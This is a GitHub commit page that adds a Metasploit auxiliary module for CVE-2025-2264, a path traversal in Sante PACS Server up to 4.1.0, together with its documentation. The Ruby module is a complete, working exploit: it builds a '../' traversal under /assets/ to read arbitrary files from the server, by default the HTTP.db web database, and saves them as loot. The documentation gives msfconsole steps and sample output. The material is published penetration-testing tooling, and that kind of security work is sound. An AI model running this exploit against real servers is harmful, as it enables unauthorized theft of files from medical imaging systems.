Skip to content

Commit 514f51d

Browse files
committed
1 parent 03e2d25 commit 514f51d

File tree

2 files changed

+151
-0
lines changed

2 files changed

+151
-0
lines changed
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
## Vulnerable Application
2+
3+
This module exploits a path traversal vulnerability in Sante PACS Server <= v4.1.0 (CVE-2025-2264) to read arbitrary files from the system.
4+
5+
## Testing
6+
7+
The software can be obtained from
8+
[the vendor](https://www.santesoft.com/win/sante-pacs-server/download.html).
9+
10+
By default, the server listens on TCP port 3000 on all network interfaces.
11+
12+
**Successfully tested on**
13+
14+
- Sante PACS Server v4.1.0 on Windows 22H2
15+
16+
## Verification Steps
17+
18+
1. Install and run the application
19+
2. Start `msfconsole` and run the following commands:
20+
21+
```
22+
msf6 > use auxiliary/gather/pacsserver_traversal
23+
msf6 auxiliary(gather/pacsserver_traversal) > set RHOSTS <IP>
24+
msf6 auxiliary(gather/pacsserver_traversal) > run
25+
```
26+
27+
This should return the database for the web server. Any files retrieved will
28+
be stored as loot.
29+
30+
## Options
31+
32+
### FILE
33+
The file to be retrieved from the file system. By default, this is the database for the web server, HTTP.db. However, any arbitrary
34+
file can be specified.
35+
36+
Example: /.HTTP/HTTP.db
37+
38+
### DEPTH
39+
The traversal depth. The FILE path will be prepended with /assets/ + ../ * DEPTH.
40+
41+
## Scenarios
42+
43+
Running the exploit against v4.1.0 on Windows 22H22 should result in an output similar to the following:
44+
45+
```
46+
msf6 auxiliary(gather/pacsserver_traversal) > run
47+
[*] Running module against 192.168.137.217
48+
49+
[*] Running automatic check ("set AutoCheck false" to disable)
50+
[!] The service is running, but could not be validated.
51+
[+] File retrieved: /assets/../../.HTTP/HTTP.db
52+
[*] File saved as loot.
53+
[*] Auxiliary module execution completed
54+
55+
```
56+
57+
The file will be stored as loot:
58+
59+
```
60+
msf6 auxiliary(gather/upsmon_traversal) > loot
61+
62+
Loot
63+
====
64+
65+
host service type name content info path
66+
---- ------- ---- ---- ------- ---- ----
67+
192.168.137.217 pacsserver.file /.HTTP/HTTP.db text/plain File retrieved through PACS Server path traversal. /home/foo/.msf4/loot/20250502165539_default_192.168.137.217_pacsserver.file_594385.txt
68+
```
Lines changed: 83 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,83 @@
1+
class MetasploitModule < Msf::Auxiliary
2+
include Msf::Exploit::Remote::HttpClient
3+
include Msf::Auxiliary::Report
4+
prepend Msf::Exploit::Remote::AutoCheck
5+
CheckCode = Exploit::CheckCode
6+
7+
def initialize(info = {})
8+
super(
9+
update_info(
10+
info,
11+
'Name' => 'Sante PACS Server Path Traversal (CVE-2025-2264)',
12+
'Description' => %q{
13+
This module exploits a path traversal vulnerability (CVE-2025-2264) in Sante PACS Server <= v4.1.0 to retrieve arbitrary files from the system.
14+
},
15+
'Author' => [
16+
'Michael Heinzl', # MSF Module
17+
'Tenable' # Discovery and PoC
18+
],
19+
'License' => MSF_LICENSE,
20+
'References' => [
21+
['CVE', '2025-2264'],
22+
['URL', 'https://www.tenable.com/security/research/tra-2025-08']
23+
],
24+
'DisclosureDate' => '2025-03-13',
25+
'DefaultOptions' => {
26+
'RPORT' => 3000,
27+
'SSL' => 'False'
28+
},
29+
'Notes' => {
30+
'Stability' => [CRASH_SAFE],
31+
'Reliability' => [],
32+
'SideEffects' => [IOC_IN_LOGS]
33+
}
34+
)
35+
)
36+
37+
register_options(
38+
[
39+
OptString.new('TARGETURI', [true, 'The base path for PACS Server', '/']),
40+
OptString.new('FILE', [false, 'The file path to read from the target system.', '/.HTTP/HTTP.db']),
41+
OptInt.new('DEPTH', [ true, 'The traversal depth. The FILE path will be prepended with ../ * DEPTH', 3 ])
42+
]
43+
)
44+
end
45+
46+
def check
47+
begin
48+
res = send_request_cgi({
49+
'method' => 'GET',
50+
'uri' => normalize_uri(target_uri.path, 'index.html ')
51+
})
52+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
53+
return CheckCode::Unknown
54+
end
55+
56+
if res && res.code == 200
57+
data = res.to_s
58+
if data.include?('Sante PACS Server PG')
59+
vprint_status('Sante PACS Server PG seems to be running on the server.')
60+
return CheckCode::Detected
61+
end
62+
return CheckCode::Safe
63+
end
64+
return CheckCode::Unknown
65+
end
66+
67+
def run
68+
traversal = '../' * datastore['DEPTH'] + datastore['FILE']
69+
traversal = traversal.gsub(%r{/+}, '/')
70+
71+
res = send_request_cgi({
72+
'method' => 'GET',
73+
'uri' => normalize_uri(target_uri.path, 'assets', traversal)
74+
})
75+
76+
fail_with(Failure::Unknown, 'No response from server.') if res.nil?
77+
fail_with(Failure::UnexpectedReply, 'Non-200 returned from server. If you believe the path is correct, try increasing the path traversal depth.') if res.code != 200
78+
print_good("File retrieved: /assets/#{traversal}")
79+
80+
store_loot('pacsserver.file', 'text/plain', datastore['RHOSTS'], res.body, datastore['FILE'], 'File retrieved through PACS Server path traversal.')
81+
print_status('File saved as loot.')
82+
end
83+
end

0 commit comments

Comments
 (0)